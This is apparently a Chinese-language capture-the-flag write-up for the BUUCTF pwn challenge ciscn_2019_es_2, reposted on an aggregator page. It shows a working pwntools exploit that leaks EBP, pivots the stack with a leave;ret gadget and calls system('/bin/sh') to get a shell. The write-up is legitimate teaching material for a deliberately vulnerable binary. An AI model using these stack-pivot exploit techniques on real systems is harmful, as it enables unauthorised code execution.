当前位置: 首页 > news >正文

BUUCTF Pwn ciscn_2019_es_2 WP

1.下载 checksec

用IDA32打开 定位main函数 

发现了个假的后门函数:

看看vul函数:

使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造

所以使用栈迁移

栈迁移需要用到leave ret 使用ROPgadget找地址:

构造第一个payload 泄露EBP地址:

payload1 = b'a' * 0x27 + b'b'
p.send(payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))

得到了EBP地址 需要调试以得出EBP地址离输入的距离:

下断点到vul函数 单步运行到函数快结尾位置查看栈情况:

看到EBP距离输入的位置有 0x78-0x50=0x28的距离 所以EBP距离输入这个字符串的地址为0x28+0x10=0x38

接下来构造payload2 目的是使得EIP指向system函数

payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)

整体代码:

from pwn import *#p = process('./es_2')
p = remote("node5.buuoj.cn", 27573)
elf = ELF('./es_2')
sys_addr = elf.plt['system']
lea_ret_addr = 0x08048562#gdb.attach(p)
#pause()payload1 = b'a' * 0x27 + b'b'
p.sendafter(b"your name?", payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))
stdin_addr = ebp - 0x38payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)p.send(payload2)
p.interactive()

运行 得到flag:

http://www.lryc.cn/news/513159.html

相关文章:

  • MongoDb-mongosh-登录
  • C语言day3:shell脚本
  • 微信小程序Uniapp
  • mongoTemplate的复杂组装条件查询
  • httpslocalhostindex 配置的nginx,一刷新就报404了
  • pandas删除值全部为0的整行和整列,还有0.0,0.000000也要删除
  • IO Virtualization with Virtio.part 1 [十二]
  • ShardingSphere-Proxy分表场景:go测试案例
  • OpenStack系列第四篇:云平台基础功能与操作(Dashboard)
  • ESP32 I2S音频总线学习笔记(一):初识I2S通信与配置基础
  • 25上半年软考高级系统分析师易混淆知识点
  • 采集JSON解析错误的修复
  • Java中实现对象的深拷贝(Deep Copy)
  • 位置编码-APE
  • MySQL有哪些锁?
  • Everything实现,快速搜索文件
  • [硬件] DELL BIOS 相关注意事项
  • Rocky Linux 下安装Liboffice
  • 【每日学点鸿蒙知识】长时任务、HarmonyAppProvision申请、preferences、Testing工具、应用保活
  • 步进电机驱动算法——S形加减速算法原理
  • 【图像去噪】论文复现:大道至简!ZS-N2N的Pytorch源码复现,跑通源码,获得指标计算结果,补充保存去噪结果图像代码,代码实现与论文理论对应!
  • 2024年中国新能源汽车用车发展怎么样 PaperGPT(一)
  • 数据结构-排序思想
  • python 快速排序(Quick Sort)
  • MySQL数据库——常见慢查询优化方式
  • 【AIGC篇】AIGC 引擎:点燃创作自动化的未来之火
  • C语言性能优化:从基础到高级的全面指南
  • 常用的公共 NTP(网络时间协议)服务器
  • Kafka中的Topic和Partition有什么关系?
  • Unity 使用UGUI制作卷轴开启关闭效果